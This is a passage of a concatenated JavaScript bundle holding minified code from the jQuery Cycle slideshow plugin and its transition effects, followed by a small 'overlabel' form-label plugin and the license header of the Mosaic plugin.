cont=$cont[0];$cont.data("cycle.opts",opts);opts.$cont=$cont;opts.stopCount=cont.cycleStop;opts.elements=els;opts.before=opts.before?[opts.before]:[];opts.after=opts.after?[opts.after]:[];opts.after.unshift(function(){opts.busy=0;});if(!$.support.opacity&&opts.cleartype){opts.after.push(function(){removeFilter(this,opts);});}if(opts.continuous){opts.after.push(function(){go(els,opts,0,!opts.backwards);});}saveOriginalOpts(opts);if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($slides);}if($cont.css("position")=="static"){$cont.css("position","relative");}if(opts.width){$cont.width(opts.width);}if(opts.height&&opts.height!="auto"){$cont.height(opts.height);}if(opts.startingSlide){opts.startingSlide=parseInt(opts.startingSlide);}else{if(opts.backwards){opts.startingSlide=els.length-1;}}if(opts.random){opts.randomMap=[];for(var i=0;i<els.length;i++){opts.randomMap.push(i);}opts.randomMap.sort(function(a,b){return Math.random()-0.5;});opts.randomIndex=1;opts.startingSlide=opts.randomMap[1];}else{if(opts.startingSlide>=els.length){opts.startingSlide=0;}}opts.currSlide=opts.startingSlide||0;var first=opts.startingSlide;$slides.css({position:"absolute",top:0,left:0}).hide().each(function(i){var z;if(opts.backwards){z=first?i<=first?els.length+(i-first):first-i:els.length-i;}else{z=first?i>=first?els.length-(i-first):first-i:els.length-i;}$(this).css("z-index",z);});$(els[first]).css("opacity",1).show();removeFilter(els[first],opts);if(opts.fit&&opts.width){$slides.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$slides.height(opts.height);}var reshape=opts.containerResize&&!$cont.innerHeight();if(reshape){var maxw=0,maxh=0;for(var j=0;j<els.length;j++){var $e=$(els[j]),e=$e[0],w=$e.outerWidth(),h=$e.outerHeight();if(!w){w=e.offsetWidth||e.width||$e.attr("width");}if(!h){h=e.offsetHeight||e.height||$e.attr("height");}maxw=w>maxw?w:maxw;maxh=h>maxh?h:maxh;}if(maxw>0&&maxh>0){$cont.css({width:maxw+"px",height:maxh+"px"});}}if(opts.pause){$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});}if(supportMultiTransitions(opts)===false){return false;}var requeue=false;options.requeueAttempts=options.requeueAttempts||0;$slides.each(function(){var $el=$(this);this.cycleH=(opts.fit&&opts.height)?opts.height:($el.height()||this.offsetHeight||this.height||$el.attr("height")||0);this.cycleW=(opts.fit&&opts.width)?opts.width:($el.width()||this.offsetWidth||this.width||$el.attr("width")||0);if($el.is("img")){var loadingIE=($.browser.msie&&this.cycleW==28&&this.cycleH==30&&!this.complete);var loadingFF=($.browser.mozilla&&this.cycleW==34&&this.cycleH==19&&!this.complete);var loadingOp=($.browser.opera&&((this.cycleW==42&&this.cycleH==19)||(this.cycleW==37&&this.cycleH==17))&&!this.complete);var loadingOther=(this.cycleH==0&&this.cycleW==0&&!this.complete);if(loadingIE||loadingFF||loadingOp||loadingOther){if(o.s&&opts.requeueOnImageNotLoaded&&++options.requeueAttempts<100){log(options.requeueAttempts," - img slide not loaded, requeuing slideshow: ",this.src,this.cycleW,this.cycleH);setTimeout(function(){$(o.s,o.c).cycle(options);},opts.requeueTimeout);requeue=true;return false;}else{log("could not determine size of image: "+this.src,this.cycleW,this.cycleH);}}}return true;});if(requeue){return false;}opts.cssBefore=opts.cssBefore||{};opts.animIn=opts.animIn||{};opts.animOut=opts.animOut||{};$slides.not(":eq("+first+")").css(opts.cssBefore);if(opts.cssFirst){$($slides[first]).css(opts.cssFirst);}if(opts.timeout){opts.timeout=parseInt(opts.timeout);if(opts.speed.constructor==String){opts.speed=$.fx.speeds[opts.speed]||parseInt(opts.speed);}if(!opts.sync){opts.speed=opts.speed/2;}var buffer=opts.fx=="shuffle"?500:250;while((opts.timeout-opts.speed)<buffer){opts.timeout+=opts.speed;}}if(opts.easing){opts.easeIn=opts.easeOut=opts.easing;}if(!opts.speedIn){opts.speedIn=opts.speed;}if(!opts.speedOut){opts.speedOut=opts.speed;}opts.slideCount=els.length;opts.currSlide=opts.lastSlide=first;if(opts.random){if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{if(opts.backwards){opts.nextSlide=opts.startingSlide==0?(els.length-1):opts.startingSlide-1;}else{opts.nextSlide=opts.startingSlide>=(els.length-1)?0:opts.startingSlide+1;}}if(!opts.multiFx){var init=$.fn.cycle.transitions[opts.fx];if($.isFunction(init)){init($cont,$slides,opts);}else{if(opts.fx!="custom"&&!opts.multiFx){log("unknown transition: "+opts.fx,"; slideshow terminating");return false;}}}var e0=$slides[first];if(opts.before.length){opts.before[0].apply(e0,[e0,e0,opts,true]);}if(opts.after.length>1){opts.after[1].apply(e0,[e0,e0,opts,true]);}if(opts.next){$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,1);});}if(opts.prev){$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,0);});}if(opts.pager||opts.pagerAnchorBuilder){buildPager(els,opts);}exposeAddSlide(opts,els);return opts;}function saveOriginalOpts(opts){opts.original={before:[],after:[]};opts.original.cssBefore=$.extend({},opts.cssBefore);opts.original.cssAfter=$.extend({},opts.cssAfter);opts.original.animIn=$.extend({},opts.animIn);opts.original.animOut=$.extend({},opts.animOut);$.each(opts.before,function(){opts.original.before.push(this);});$.each(opts.after,function(){opts.original.after.push(this);});}function supportMultiTransitions(opts){var i,tx,txs=$.fn.cycle.transitions;if(opts.fx.indexOf(",")>0){opts.multiFx=true;opts.fxs=opts.fx.replace(/\s*/g,"").split(",");for(i=0;i<opts.fxs.length;i++){var fx=opts.fxs[i];tx=txs[fx];if(!tx||!txs.hasOwnProperty(fx)||!$.isFunction(tx)){log("discarding unknown transition: ",fx);opts.fxs.splice(i,1);i--;}}if(!opts.fxs.length){log("No valid transitions named; slideshow terminating.");return false;}}else{if(opts.fx=="all"){opts.multiFx=true;opts.fxs=[];for(p in txs){tx=txs[p];if(txs.hasOwnProperty(p)&&$.isFunction(tx)){opts.fxs.push(p);}}}}if(opts.multiFx&&opts.randomizeEffects){var r1=Math.floor(Math.random()*20)+30;for(i=0;i<r1;i++){var r2=Math.floor(Math.random()*opts.fxs.length);opts.fxs.push(opts.fxs.splice(r2,1)[0]);}debug("randomized fx sequence: ",opts.fxs);}return true;}function exposeAddSlide(opts,els){opts.addSlide=function(newSlide,prepend){var $s=$(newSlide),s=$s[0];if(!opts.autostopCount){opts.countdown++;}els[prepend?"unshift":"push"](s);if(opts.els){opts.els[prepend?"unshift":"push"](s);}opts.slideCount=els.length;$s.css("position","absolute");$s[prepend?"prependTo":"appendTo"](opts.$cont);if(prepend){opts.currSlide++;opts.nextSlide++;}if(!$.support.opacity&&opts.cleartype&&!opts.cleartypeNoBg){clearTypeFix($s);}if(opts.fit&&opts.width){$s.width(opts.width);}if(opts.fit&&opts.height&&opts.height!="auto"){$s.height(opts.height);}s.cycleH=(opts.fit&&opts.height)?opts.height:$s.height();s.cycleW=(opts.fit&&opts.width)?opts.width:$s.width();$s.css(opts.cssBefore);if(opts.pager||opts.pagerAnchorBuilder){$.fn.cycle.createPagerAnchor(els.length-1,s,$(opts.pager),els,opts);}if($.isFunction(opts.onAddSlide)){opts.onAddSlide($s);}else{$s.hide();}};}$.fn.cycle.resetState=function(opts,fx){fx=fx||opts.fx;opts.before=[];opts.after=[];opts.cssBefore=$.extend({},opts.original.cssBefore);opts.cssAfter=$.extend({},opts.original.cssAfter);opts.animIn=$.extend({},opts.original.animIn);opts.animOut=$.extend({},opts.original.animOut);opts.fxFn=null;$.each(opts.original.before,function(){opts.before.push(this);});$.each(opts.original.after,function(){opts.after.push(this);});var init=$.fn.cycle.transitions[fx];if($.isFunction(init)){init(opts.$cont,$(opts.elements),opts);}};function go(els,opts,manual,fwd){if(manual&&opts.busy&&opts.manualTrump){debug("manualTrump in go(), stopping active transition");$(els).stop(true,true);opts.busy=false;}if(opts.busy){debug("transition active, ignoring new tx request");return;}var p=opts.$cont[0],curr=els[opts.currSlide],next=els[opts.nextSlide];if(p.cycleStop!=opts.stopCount||p.cycleTimeout===0&&!manual){return;}if(!manual&&!p.cyclePause&&!opts.bounce&&((opts.autostop&&(--opts.countdown<=0))||(opts.nowrap&&!opts.random&&opts.nextSlide<opts.currSlide))){if(opts.end){opts.end(opts);}return;}var changed=false;if((manual||!p.cyclePause)&&(opts.nextSlide!=opts.currSlide)){changed=true;var fx=opts.fx;curr.cycleH=curr.cycleH||$(curr).height();curr.cycleW=curr.cycleW||$(curr).width();next.cycleH=next.cycleH||$(next).height();next.cycleW=next.cycleW||$(next).width();if(opts.multiFx){if(opts.lastFx==undefined||++opts.lastFx>=opts.fxs.length){opts.lastFx=0;}fx=opts.fxs[opts.lastFx];opts.currFx=fx;}if(opts.oneTimeFx){fx=opts.oneTimeFx;opts.oneTimeFx=null;}$.fn.cycle.resetState(opts,fx);if(opts.before.length){$.each(opts.before,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});}var after=function(){$.each(opts.after,function(i,o){if(p.cycleStop!=opts.stopCount){return;}o.apply(next,[curr,next,opts,fwd]);});};debug("tx firing; currSlide: "+opts.currSlide+"; nextSlide: "+opts.nextSlide);opts.busy=1;if(opts.fxFn){opts.fxFn(curr,next,opts,after,fwd,manual&&opts.fastOnEvent);}else{if($.isFunction($.fn.cycle[opts.fx])){$.fn.cycle[opts.fx](curr,next,opts,after,fwd,manual&&opts.fastOnEvent);}else{$.fn.cycle.custom(curr,next,opts,after,fwd,manual&&opts.fastOnEvent);}}}if(changed||opts.nextSlide==opts.currSlide){opts.lastSlide=opts.currSlide;if(opts.random){opts.currSlide=opts.nextSlide;if(++opts.randomIndex==els.length){opts.randomIndex=0;}opts.nextSlide=opts.randomMap[opts.randomIndex];if(opts.nextSlide==opts.currSlide){opts.nextSlide=(opts.currSlide==opts.slideCount-1)?0:opts.currSlide+1;}}else{if(opts.backwards){var roll=(opts.nextSlide-1)<0;if(roll&&opts.bounce){opts.backwards=!opts.backwards;opts.nextSlide=1;opts.currSlide=0;}else{opts.nextSlide=roll?(els.length-1):opts.nextSlide-1;opts.currSlide=roll?0:opts.nextSlide+1;}}else{var roll=(opts.nextSlide+1)==els.length;if(roll&&opts.bounce){opts.backwards=!opts.backwards;opts.nextSlide=els.length-2;opts.currSlide=els.length-1;}else{opts.nextSlide=roll?0:opts.nextSlide+1;opts.currSlide=roll?els.length-1:opts.nextSlide-1;}}}}if(changed&&opts.pager){opts.updateActivePagerLink(opts.pager,opts.currSlide,opts.activePagerClass);}var ms=0;if(opts.timeout&&!opts.continuous){ms=getTimeout(els[opts.currSlide],els[opts.nextSlide],opts,fwd);}else{if(opts.continuous&&p.cyclePause){ms=10;}}if(ms>0){p.cycleTimeout=setTimeout(function(){go(els,opts,0,!opts.backwards);},ms);}}$.fn.cycle.updateActivePagerLink=function(pager,currSlide,clsName){$(pager).each(function(){$(this).children().removeClass(clsName).eq(currSlide).addClass(clsName);});};function getTimeout(curr,next,opts,fwd){if(opts.timeoutFn){var t=opts.timeoutFn.call(curr,curr,next,opts,fwd);while((t-opts.speed)<250){t+=opts.speed;}debug("calculated timeout: "+t+"; speed: "+opts.speed);if(t!==false){return t;}}return opts.timeout;}$.fn.cycle.next=function(opts){advance(opts,1);};$.fn.cycle.prev=function(opts){advance(opts,0);};function advance(opts,moveForward){var val=moveForward?1:-1;var els=opts.elements;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}if(opts.random&&val<0){opts.randomIndex--;if(--opts.randomIndex==-2){opts.randomIndex=els.length-2;}else{if(opts.randomIndex==-1){opts.randomIndex=els.length-1;}}opts.nextSlide=opts.randomMap[opts.randomIndex];}else{if(opts.random){opts.nextSlide=opts.randomMap[opts.randomIndex];}else{opts.nextSlide=opts.currSlide+val;if(opts.nextSlide<0){if(opts.nowrap){return false;}opts.nextSlide=els.length-1;}else{if(opts.nextSlide>=els.length){if(opts.nowrap){return false;}opts.nextSlide=0;}}}}var cb=opts.onPrevNextEvent||opts.prevNextClick;if($.isFunction(cb)){cb(val>0,opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,moveForward);return false;}function buildPager(els,opts){var $p=$(opts.pager);$.each(els,function(i,o){$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);});opts.updateActivePagerLink(opts.pager,opts.startingSlide,opts.activePagerClass);}$.fn.cycle.createPagerAnchor=function(i,el,$p,els,opts){var a;if($.isFunction(opts.pagerAnchorBuilder)){a=opts.pagerAnchorBuilder(i,el);debug("pagerAnchorBuilder("+i+", el) returned: "+a);}else{a='<a href="#">'+(i+1)+"</a>";}if(!a){return;}var $a=$(a);if($a.parents("body").length===0){var arr=[];if($p.length>1){$p.each(function(){var $clone=$a.clone(true);$(this).append($clone);arr.push($clone[0]);});$a=$(arr);}else{$a.appendTo($p);}}opts.pagerAnchors=opts.pagerAnchors||[];opts.pagerAnchors.push($a);$a.bind(opts.pagerEvent,function(e){e.preventDefault();opts.nextSlide=i;var p=opts.$cont[0],timeout=p.cycleTimeout;if(timeout){clearTimeout(timeout);p.cycleTimeout=0;}var cb=opts.onPagerEvent||opts.pagerClick;if($.isFunction(cb)){cb(opts.nextSlide,els[opts.nextSlide]);}go(els,opts,1,opts.currSlide<i);});if(!/^click/.test(opts.pagerEvent)&&!opts.allowPagerClickBubble){$a.bind("click.cycle",function(){return false;});}if(opts.pauseOnPagerHover){$a.hover(function(){opts.$cont[0].cyclePause++;},function(){opts.$cont[0].cyclePause--;});}};$.fn.cycle.hopsFromLast=function(opts,fwd){var hops,l=opts.lastSlide,c=opts.currSlide;if(fwd){hops=c>l?c-l:opts.slideCount-l;}else{hops=c<l?l-c:l+opts.slideCount-c;}return hops;};function clearTypeFix($slides){debug("applying clearType background-color hack");function hex(s){s=parseInt(s).toString(16);return s.length<2?"0"+s:s;}function getBg(e){for(;e&&e.nodeName.toLowerCase()!="html";e=e.parentNode){var v=$.css(e,"background-color");if(v.indexOf("rgb")>=0){var rgb=v.match(/\d+/g);return"#"+hex(rgb[0])+hex(rgb[1])+hex(rgb[2]);}if(v&&v!="transparent"){return v;}}return"#ffffff";}$slides.each(function(){$(this).css("background-color",getBg(this));});}$.fn.cycle.commonReset=function(curr,next,opts,w,h,rev){$(opts.elements).not(curr).hide();opts.cssBefore.opacity=1;opts.cssBefore.display="block";if(opts.slideResize&&w!==false&&next.cycleW>0){opts.cssBefore.width=next.cycleW;}if(opts.slideResize&&h!==false&&next.cycleH>0){opts.cssBefore.height=next.cycleH;}opts.cssAfter=opts.cssAfter||{};opts.cssAfter.display="none";$(curr).css("zIndex",opts.slideCount+(rev===true?1:0));$(next).css("zIndex",opts.slideCount+(rev===true?0:1));};$.fn.cycle.custom=function(curr,next,opts,cb,fwd,speedOverride){var $l=$(curr),$n=$(next);var speedIn=opts.speedIn,speedOut=opts.speedOut,easeIn=opts.easeIn,easeOut=opts.easeOut;$n.css(opts.cssBefore);if(speedOverride){if(typeof speedOverride=="number"){speedIn=speedOut=speedOverride;}else{speedIn=speedOut=1;}easeIn=easeOut=null;}var fn=function(){$n.animate(opts.animIn,speedIn,easeIn,cb);};$l.animate(opts.animOut,speedOut,easeOut,function(){if(opts.cssAfter){$l.css(opts.cssAfter);}if(!opts.sync){fn();}});if(opts.sync){fn();}};$.fn.cycle.transitions={fade:function($cont,$slides,opts){$slides.not(":eq("+opts.currSlide+")").css("opacity",0);opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.opacity=0;});opts.animIn={opacity:1};opts.animOut={opacity:0};opts.cssBefore={top:0,left:0};}};$.fn.cycle.ver=function(){return ver;};$.fn.cycle.defaults={fx:"fade",timeout:4000,timeoutFn:null,continuous:0,speed:1000,speedIn:null,speedOut:null,next:null,prev:null,onPrevNextEvent:null,prevNextEvent:"click.cycle",pager:null,onPagerEvent:null,pagerEvent:"click.cycle",allowPagerClickBubble:false,pagerAnchorBuilder:null,before:null,after:null,end:null,easing:null,easeIn:null,easeOut:null,shuffle:null,animIn:null,animOut:null,cssBefore:null,cssAfter:null,fxFn:null,height:"auto",startingSlide:0,sync:1,random:0,fit:0,containerResize:1,slideResize:1,pause:0,pauseOnPagerHover:0,autostop:0,autostopCount:0,delay:0,slideExpr:null,cleartype:!$.support.opacity,cleartypeNoBg:false,nowrap:0,fastOnEvent:0,randomizeEffects:1,rev:0,manualTrump:true,requeueOnImageNotLoaded:true,requeueTimeout:250,activePagerClass:"activeSlide",updateActivePagerLink:null,backwards:false};})(jQuery);
/*
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2010 M. Alsup
 * Version:	 2.73
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($){$.fn.cycle.transitions.none=function($cont,$slides,opts){opts.fxFn=function(curr,next,opts,after){$(next).show();$(curr).hide();after();};};$.fn.cycle.transitions.fadeout=function($cont,$slides,opts){$slides.not(":eq("+opts.currSlide+")").css({display:"block",opacity:1});opts.before.push(function(curr,next,opts,w,h,rev){$(curr).css("zIndex",opts.slideCount+(!rev===true?1:0));$(next).css("zIndex",opts.slideCount+(!rev===true?0:1));});opts.animIn={opacity:1};opts.animOut={opacity:0};opts.cssBefore={opacity:1,display:"block"};opts.cssAfter={zIndex:0};};$.fn.cycle.transitions.scrollUp=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssBefore={top:h,left:0};opts.cssFirst={top:0};opts.animIn={top:0};opts.animOut={top:-h};};$.fn.cycle.transitions.scrollDown=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var h=$cont.height();opts.cssFirst={top:0};opts.cssBefore={top:-h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.scrollLeft=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:0-w};};$.fn.cycle.transitions.scrollRight=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push($.fn.cycle.commonReset);var w=$cont.width();opts.cssFirst={left:0};opts.cssBefore={left:-w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.scrollHorz=function($cont,$slides,opts){$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts,fwd){if(opts.rev){fwd=!fwd;}$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.left=fwd?(next.cycleW-1):(1-next.cycleW);opts.animOut.left=fwd?-curr.cycleW:curr.cycleW;});opts.cssFirst={left:0};opts.cssBefore={top:0};opts.animIn={left:0};opts.animOut={top:0};};$.fn.cycle.transitions.scrollVert=function($cont,$slides,opts){$cont.css("overflow","hidden");opts.before.push(function(curr,next,opts,fwd){if(opts.rev){fwd=!fwd;}$.fn.cycle.commonReset(curr,next,opts);opts.cssBefore.top=fwd?(1-next.cycleH):(next.cycleH-1);opts.animOut.top=fwd?curr.cycleH:-curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0};opts.animIn={top:0};opts.animOut={left:0};};$.fn.cycle.transitions.slideX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;});opts.cssBefore={left:0,top:0,width:0};opts.animIn={width:"show"};opts.animOut={width:0};};$.fn.cycle.transitions.slideY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$(opts.elements).not(curr).hide();$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;});opts.cssBefore={left:0,top:0,height:0};opts.animIn={height:"show"};opts.animOut={height:0};};$.fn.cycle.transitions.shuffle=function($cont,$slides,opts){var i,w=$cont.css("overflow","visible").width();$slides.css({left:0,top:0});opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);});if(!opts.speedAdjusted){opts.speed=opts.speed/2;opts.speedAdjusted=true;}opts.random=0;opts.shuffle=opts.shuffle||{left:-w,top:15};opts.els=[];for(i=0;i<$slides.length;i++){opts.els.push($slides[i]);}for(i=0;i<opts.currSlide;i++){opts.els.push(opts.els.shift());}opts.fxFn=function(curr,next,opts,cb,fwd){if(opts.rev){fwd=!fwd;}var $el=fwd?$(curr):$(next);$(next).css(opts.cssBefore);var count=opts.slideCount;$el.animate(opts.shuffle,opts.speedIn,opts.easeIn,function(){var hops=$.fn.cycle.hopsFromLast(opts,fwd);for(var k=0;k<hops;k++){fwd?opts.els.push(opts.els.shift()):opts.els.unshift(opts.els.pop());}if(fwd){for(var i=0,len=opts.els.length;i<len;i++){$(opts.els[i]).css("z-index",len-i+count);}}else{var z=$(curr).css("z-index");$el.css("z-index",parseInt(z)+1+count);}$el.animate({left:0,top:0},opts.speedOut,opts.easeOut,function(){$(fwd?this:curr).hide();if(cb){cb();}});});};opts.cssBefore={display:"block",opacity:1,top:0,left:0};};$.fn.cycle.transitions.turnUp=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=next.cycleH;opts.animIn.height=next.cycleH;opts.animOut.width=next.cycleW;});opts.cssFirst={top:0};opts.cssBefore={left:0,height:0};opts.animIn={top:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnDown=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssFirst={top:0};opts.cssBefore={left:0,top:0,height:0};opts.animOut={height:0};};$.fn.cycle.transitions.turnLeft=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=next.cycleW;opts.animIn.width=next.cycleW;});opts.cssBefore={top:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.turnRight=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={top:0,left:0,width:0};opts.animIn={left:0};opts.animOut={width:0};};$.fn.cycle.transitions.zoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false,true);opts.cssBefore.top=next.cycleH/2;opts.cssBefore.left=next.cycleW/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};opts.animOut={width:0,height:0,top:curr.cycleH/2,left:curr.cycleW/2};});opts.cssFirst={top:0,left:0};opts.cssBefore={width:0,height:0};};$.fn.cycle.transitions.fadeZoom=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,false);opts.cssBefore.left=next.cycleW/2;opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,left:0,width:next.cycleW,height:next.cycleH};});opts.cssBefore={width:0,height:0};opts.animOut={opacity:0};};$.fn.cycle.transitions.blindX=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.width=next.cycleW;opts.animOut.left=curr.cycleW;});opts.cssBefore={left:w,top:0};opts.animIn={left:0};opts.animOut={left:w};};$.fn.cycle.transitions.blindY=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:0};opts.animIn={top:0};opts.animOut={top:h};};$.fn.cycle.transitions.blindZ=function($cont,$slides,opts){var h=$cont.css("overflow","hidden").height();var w=$cont.width();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);opts.animIn.height=next.cycleH;opts.animOut.top=curr.cycleH;});opts.cssBefore={top:h,left:w};opts.animIn={top:0,left:0};opts.animOut={top:h,left:w};};$.fn.cycle.transitions.growX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true);opts.cssBefore.left=this.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:0};});opts.cssBefore={width:0,top:0};};$.fn.cycle.transitions.growY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false);opts.cssBefore.top=this.cycleH/2;opts.animIn={top:0,height:this.cycleH};opts.animOut={top:0};});opts.cssBefore={height:0,left:0};};$.fn.cycle.transitions.curtainX=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,false,true,true);opts.cssBefore.left=next.cycleW/2;opts.animIn={left:0,width:this.cycleW};opts.animOut={left:curr.cycleW/2,width:0};});opts.cssBefore={top:0,width:0};};$.fn.cycle.transitions.curtainY=function($cont,$slides,opts){opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,false,true);opts.cssBefore.top=next.cycleH/2;opts.animIn={top:0,height:next.cycleH};opts.animOut={top:curr.cycleH/2,height:0};});opts.cssBefore={left:0,height:0};};$.fn.cycle.transitions.cover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts);if(d=="right"){opts.cssBefore.left=-w;}else{if(d=="up"){opts.cssBefore.top=h;}else{if(d=="down"){opts.cssBefore.top=-h;}else{opts.cssBefore.left=w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.uncover=function($cont,$slides,opts){var d=opts.direction||"left";var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(d=="right"){opts.animOut.left=w;}else{if(d=="up"){opts.animOut.top=-h;}else{if(d=="down"){opts.animOut.top=h;}else{opts.animOut.left=-w;}}}});opts.animIn={left:0,top:0};opts.animOut={opacity:1};opts.cssBefore={top:0,left:0};};$.fn.cycle.transitions.toss=function($cont,$slides,opts){var w=$cont.css("overflow","visible").width();var h=$cont.height();opts.before.push(function(curr,next,opts){$.fn.cycle.commonReset(curr,next,opts,true,true,true);if(!opts.animOut.left&&!opts.animOut.top){opts.animOut={left:w*2,top:-h/2,opacity:0};}else{opts.animOut.opacity=0;}});opts.cssBefore={left:0,top:0};opts.animIn={left:0};};$.fn.cycle.transitions.wipe=function($cont,$slides,opts){var w=$cont.css("overflow","hidden").width();var h=$cont.height();opts.cssBefore=opts.cssBefore||{};var clip;if(opts.clip){if(/l2r/.test(opts.clip)){clip="rect(0px 0px "+h+"px 0px)";}else{if(/r2l/.test(opts.clip)){clip="rect(0px "+w+"px "+h+"px "+w+"px)";}else{if(/t2b/.test(opts.clip)){clip="rect(0px "+w+"px 0px 0px)";}else{if(/b2t/.test(opts.clip)){clip="rect("+h+"px "+w+"px "+h+"px 0px)";}else{if(/zoom/.test(opts.clip)){var top=parseInt(h/2);var left=parseInt(w/2);clip="rect("+top+"px "+left+"px "+top+"px "+left+"px)";}}}}}}opts.cssBefore.clip=opts.cssBefore.clip||clip||"rect(0px 0px 0px 0px)";var d=opts.cssBefore.clip.match(/(\d+)/g);var t=parseInt(d[0]),r=parseInt(d[1]),b=parseInt(d[2]),l=parseInt(d[3]);opts.before.push(function(curr,next,opts){if(curr==next){return;}var $curr=$(curr),$next=$(next);$.fn.cycle.commonReset(curr,next,opts,true,true,false);opts.cssAfter.display="block";var step=1,count=parseInt((opts.speedIn/13))-1;(function f(){var tt=t?t-parseInt(step*(t/count)):0;var ll=l?l-parseInt(step*(l/count)):0;var bb=b<h?b+parseInt(step*((h-b)/count||1)):h;var rr=r<w?r+parseInt(step*((w-r)/count||1)):w;$next.css({clip:"rect("+tt+"px "+rr+"px "+bb+"px "+ll+"px)"});(step++<=count)?setTimeout(f,13):$curr.css("display","none");})();});opts.cssBefore={display:"block",opacity:1,top:0,left:0};opts.animIn={left:0};opts.animOut={left:0};};})(jQuery);;
( function( $ ) {
 
    // plugin definition
    $.fn.overlabel = function( options ) {
 
        // build main options before element iteration
        var opts = $.extend( {}, $.fn.overlabel.defaults, options );
 
        var selection = this.filter( 'label[for]' ).map( function() {
 
            var label = $( this );
            var id = label.attr( 'for' );
            var field = document.getElementById( id );
 
            if ( !field ) return;
 
            // build element specific options
            var o = $.meta ? $.extend( {}, opts, label.data() ) : opts;
 
            label.addClass( o.label_class );
 
            var hide_label = function() { label.css( o.hide_css ) };
            var show_label = function() { this.value || label.css( o.show_css ) };
 
            $( field )
                 .parent().addClass( o.wrapper_class ).end()
                 .focus( hide_label ).blur( show_label ).each( hide_label ).each( show_label );
 
            return this;
 
        } );
 
        return opts.filter ? selection : selection.end();
    };
 
    // publicly accessible defaults
    $.fn.overlabel.defaults = {
 
        label_class:   'overlabel-apply',
        wrapper_class: 'overlabel-wrapper',
        hide_css:      { 'text-indent': '-10000px' },
        show_css:      { 'text-indent': '0px', 'cursor': 'text' },
        filter:        false
 
    };
 
} )( jQuery );;
/*
	Mosaic - Sliding Boxes and Captions jQuery Plugin
	Version 1.0.1
	www.buildinternet.com/project/mosaic
	
	By Sam Dunn / One Mighty Roar (www.onemightyroar.com)
	Released under MIT License / GPL License
*/

